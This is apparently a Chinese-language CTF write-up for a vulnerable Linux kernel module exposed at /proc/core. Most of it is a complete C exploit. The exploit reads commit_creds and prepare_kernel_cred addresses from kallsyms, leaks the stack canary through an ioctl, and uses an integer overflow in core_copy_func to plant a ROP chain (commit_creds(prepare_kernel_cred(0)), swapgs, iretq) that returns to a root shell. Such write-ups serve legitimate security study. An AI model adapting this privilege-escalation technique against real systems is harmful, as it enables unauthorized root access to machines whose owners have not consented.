cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
0x6677889B:执行core_read函数
0x6677889C:对全局变量off赋值
0x6677889A:执行core_copy_func函数
+-----------+
| RIP |
+-----------+
| CS |
+-----------+
| rflags |
+-----------+
| RSP |
+-----------+
| SS |
+-----------+
通过这种方式我们可以通过从/tmp/kallsyms中得到的commit_creds函数的真实地址减去0x9c8e0就可以得到vmlinux_base的地址,而刚才所说的offset就是vmlinux_base减去raw_vmlinux_base,即0xffffffff81000000的值。好了来整理一下我们的利用思路吧:1、通过/tmp/kallsyms文件获得commit_creds函数与prepare_kernel_cred函数地址,并计算出所需gadget地址。2、对全局变量off赋值0x40,通过core_read函数获得canary的值。3、构建好ropchain,使用core_write函数将ropchain复制到内核态中 4、通过core_copy_func函数中的数值溢出造成的栈溢出漏洞,将ropchain放入栈中,退出函数时完成提权并返回用户态getrootshell。
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>#define CORE_READ 0x6677889B
#define CORE_OFF 0x6677889C
#define CORE_COPY 0x6677889A
size_t vmlinux_base, commit_creds, prepare_kernel_cred;
size_t user_cs, user_ss, user_sp, user_rflags;
size_t raw_vmlinux_base = 0xffffffff81000000;
int GetAddress() {
char *ptr;
char buf[0x30] = {0};
FILE* fd = fopen("/tmp/kallsyms","r");
if (!fd) {
puts("[-] ERROR.");
return 0;
}
while(fgets(buf, sizeof(buf), fd)) {
if (commit_creds && prepare_kernel_cred){
printf("[+] Find: commit_creds: 0x%llx\n[+] Find: prepare_kernel_cred: 0x%llx\n", commit_creds, prepare_kernel_cred);
return 1;
}
if (strstr(buf, "commit_creds")) {
commit_creds = strtoull(buf, ptr, 16);
}
if (strstr(buf, "prepare_kernel_cred")) {
prepare_kernel_cred = strtoull(buf, ptr, 16);
}
}
return 0;
}
void SaveStatus() {
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
}
void GetShell() {
if (!getuid()) {
system("/bin/sh");
}
else {
puts("[-] CAN NOT GETSHELL.");
exit(1);
}
}
void main() {
size_t rop[0x100];
char user_buf[0x40] = {0};
char* ptr;
int i = 8;
SaveStatus();
GetAddress();
vmlinux_base = commit_creds - 0x9c8e0;
size_t offset = vmlinux_base - raw_vmlinux_base;
size_t pop_rdi = 0xffffffff81679ba8 + offset;
size_t pop_rdx = 0xffffffff810a0f49 + offset;
size_t mov_rdi_rax = 0xffffffff8106a6d2 + offset; // mov rdi, rax; jmp rdx;
size_t swapgs = 0xffffffff81a012da + offset; // swapgs; popfq; ret;
size_t iretq = 0xffffffff81050ac2 + offset; // iretq; ret;
int fd = open("/proc/core", 2);
if (!fd) {
puts("[-] OPEN /proc/core ERROR.");
exit(0);
}
ioctl(fd, CORE_OFF, 0x40);
ioctl(fd, 0x6677889B, user_buf); //canary in buf.
size_t canary = ((size_t*)user_buf)[0];
printf("[+] Find canary: 0x%llx\n", canary);
//commit_creads(prepare_kernel_cred(0));
rop[i++] = canary;
rop[i++] = 0;
rop[i++] = pop_rdi;
rop[i++] = 0;
rop[i++] = prepare_kernel_cred;
rop[i++] = pop_rdx;
rop[i++] = commit_creds;
rop[i++] = mov_rdi_rax;
//swapgs --> iretq: rip, cs, rflags, rsp, ss. GetShell
rop[i++] = swapgs;
rop[i++] = 0;
rop[i++] = iretq;
rop[i++] = (size_t)GetShell;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
write(fd, rop, sizeof(rop));
ioctl(fd, CORE_COPY, 0xffffffffffff0000|0x100);
}